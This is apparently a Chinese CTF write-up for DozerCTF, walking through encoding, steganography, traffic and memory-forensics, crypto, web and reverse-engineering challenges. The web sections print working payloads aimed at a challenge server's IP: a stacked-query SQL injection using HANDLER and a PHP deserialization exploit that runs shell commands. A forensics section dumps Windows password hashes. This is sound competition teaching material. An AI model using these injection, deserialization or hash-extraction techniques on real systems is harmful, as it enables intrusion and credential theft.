R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=
base64 → base32 → decode('hex') → base58,得到flag
flag:Dozerctf{base_family_is_so_good}
下载附件得到一个图片,010editor提示crc有问题,图片在win下可以正常显示,说明高度又问题,稍微改一下高度,可以看到下面的另一句话,但是也没啥用
stegsolve分析,发现有LSB隐写
最上面发现有一长串的base64(结尾可以看到两个=
),cyberchef解一下,就可以看到flag
flag:Dozerctf{python_is_the_best_language!}
附件为pcap文件,打开后导出http流,可以看到里面有flag.jpg,导出后并不能打开,010editor查看发现为zip文件,修改后缀为zip,再次打开发现内容被加密,其中有五个txt文件,每个文件大小都为6字节,于是想到crc32爆破,分别爆破五个文件的crc值,寻找其中有意义的字符串,连起来即是flag
1.txt: can_U_
2.txt: find_t
3.txt: hefile
4.txt: from_t
5.txt: raffic
flag:Dozerctf{can_U_find_thefilefrom_traffic}
下载附件,一个txt一个图片,图片中可以分离出一个压缩包,不过里面的内容没什么用,整道题的附件压缩格式为rar,所以很容易想到ntfs隐写(因为zip格式的压缩包无法保留ntfs数据流,但是rar格式可以)
dir /r
查看,可以发现在important.txt文件后藏有一个压缩包(另一个数据流没什么用)
用工具将其导出,打开查看发现一堆报错,直接用WinRAR修复压缩包,就可以正常打开了
里面四个文件的内容都是坐标,将四个文件的内容都放在一个文件里,然后python画图
from PIL import Image
img = Image.new('RGB', (400, 400), (0, 0, 0))
f = open('secret-1','r') # 我都放在secret-1里
while 1:
a = f.readline().strip()
if a:
x, y = a.split(' ')
x = int(x)
y = int(y)
img.putpixel((x, y), (255, 255, 255))
else:
break
img.save('flag.png')
得到一个汉信码
扫码得到flag(由于扫码网站崩了所以比赛时支持wp换flag,后来又找到了可以扫码的软件)
我就是弗拉格
Dozerctf{Congratulations_U_find_it}
内存取证题,先查看镜像配置
volatility -f memory imageinfo
得到配置为Win7SP1x64
,之后再查看进程列表
volatility -f memory --profile=Win7SP1x64 pslist
可以看到有个cmd.exe
,于是查看cmd中内容
volatility -f memory --profile=Win7SP1x64 cmdscan
得到以下内容
CommandProcess: conhost.exe Pid: 2400
CommandHistory: 0x2c86d0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 @ 0x2d1e90: cd Desktop/flag
发现其中有一个切换到桌面的flag文件夹的操作,于是查找和flag相关的进程
volatility -f memory --profile=Win7SP1x64 filescan | grep flag
可以看到在flag文件夹下还有个analys,将其导出
volatility -f memory --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x000000001e85f430
查看导出的文件,发现是一个加密的zip包,而且有如下备注
Why you don't know my password?
It's so easy.
Maybe you can log in to my computer.
意思就是这个压缩包的密码和系统密码相同,所以我们需要提取系统密码,参考
先获取注册表位置
volatility hivelist -f memory --profile=Win7SP1x64
再获取密码的hash值,导出至hash.txt
我们需要知道SYSTEM和SAM的起始位置即上图中第一列的信息,在上图中已经做了标记
volatility hashdump -f memory --profile=Win7SP1x64 -y 0xfffff8a000024010 -s 0xfffff8a00167a010 > hash.txt
得到以下信息
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
13m0nade:1000:aad3b435b51404eeaad3b435b51404ee:575f5313970908467a19d3a5aa269743:::
出题人为13m0nade
,所以我们要破这个id对应的密码hash,即575f5313970908467a19d3a5aa269743
,在线网站直接解即可得到弱密码
解压后得到一个usb.pcap和一个被加密的flag.zip,再看usb.pcap
很明显的usb流量分析,tshark提取出数据后用脚本解
tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
解出键盘流量内容
<GA><GA><DEL><DEL><DEL><DEL><RET><RET>A<RET><CAP>uto<SPACE>key<DEL><DEL><DEL><DEL>key<SPACE><SPACE>ylltmftnxbkgvcyydbuhdlcpspsps<DEL>tswrmwjjmnjgtylkegittoibgo<DEL>o<SPACE><SPACE><SPACE><SPACE>good<SPACE>luck<SPACE>
删去多余的字符和<DEL>
对应的字符,替换掉<SPACE>
,得到
Autokey ylltmftnxbkgvcyydbuhdlcpspsptswrmwjjmnjgtylkegittoibgo good luck
即autokey的密文为:ylltmftnxbkgvcyydbuhdlcpspsps<DEL>tswrmwjjmnjgtylkegittoibgo
由于没有密钥,所以需要用到脚本爆破,可参考这篇文章(引流引流~
可以看到当klen为9时,对应密钥为KEYFORZIP
,得到明文
OHNOYOUFINDTHEKEYTHEKEYFORZIPISTHISKEYBOARDSUCKSFORYOU
对应压缩包密码在备注中提示小写:thiskeyboardsucksforyou
解压后打开flag.txt,其中大量的base64字符串,很显然是base64隐写,脚本跑一下
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=')
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])
最终得到flag:Dozerctf{itis_e4sy_4U2_analyse}
感谢Match师傅的帮助!
注入题,给了hint:url二次编码
先查表名
http://118.31.11.216:30501/?id=1%2527;show tables--+
之后尝试了好几种注入方式,都8太行,最后找到了个差不多的今年新春抗疫赛的一道题,用了handler来构造payload,于是就照着wp用几个表名都试了下,最后试到uziuzi的时候成功得到flag
http://118.31.11.216:30501/?id=1%2527;handler uziuzi open; handler uziuzi read first;
flag:flag{594cb6af684ad354b4a59ac496473990}
有一道差不多的题:https://blog.csdn.net/weixin_30561425/article/details/97870577
题干描述中说了flag在flag.php里,那直接构造payload读取即可
<?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}
return $str;
}
function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;
if ($num > 2) {
die("No");
}
}
}
}
$a = new home("mysys" , array("flag.php"));
echo urlencode(serialize($a));
?>
得到以下字符串
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
利用get请求把path传上去,得到base64加密的flag,解码一下即可
<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>
下载得到exe,丢进ida,然后View → Open subviews → Strings
再往下翻又可以看到
推测换表base64,脚本还原一下
a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
b = 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/'
cip = 'OEG7U19kUvCsV29qzT9qcUm0yDCwy2CiWjOrU2Or'
cip2 = ''
for i in cip:
cip2 += a[b.find(i)]
print cip2.decode('base64')
得到字符串:Dr{__g_!ocomiom}ztlasoaefdn_dn
再根据刚刚看到的rail fence,解栅栏加密,得到flag
flag:Dozerctf{old_man_is_good_man!}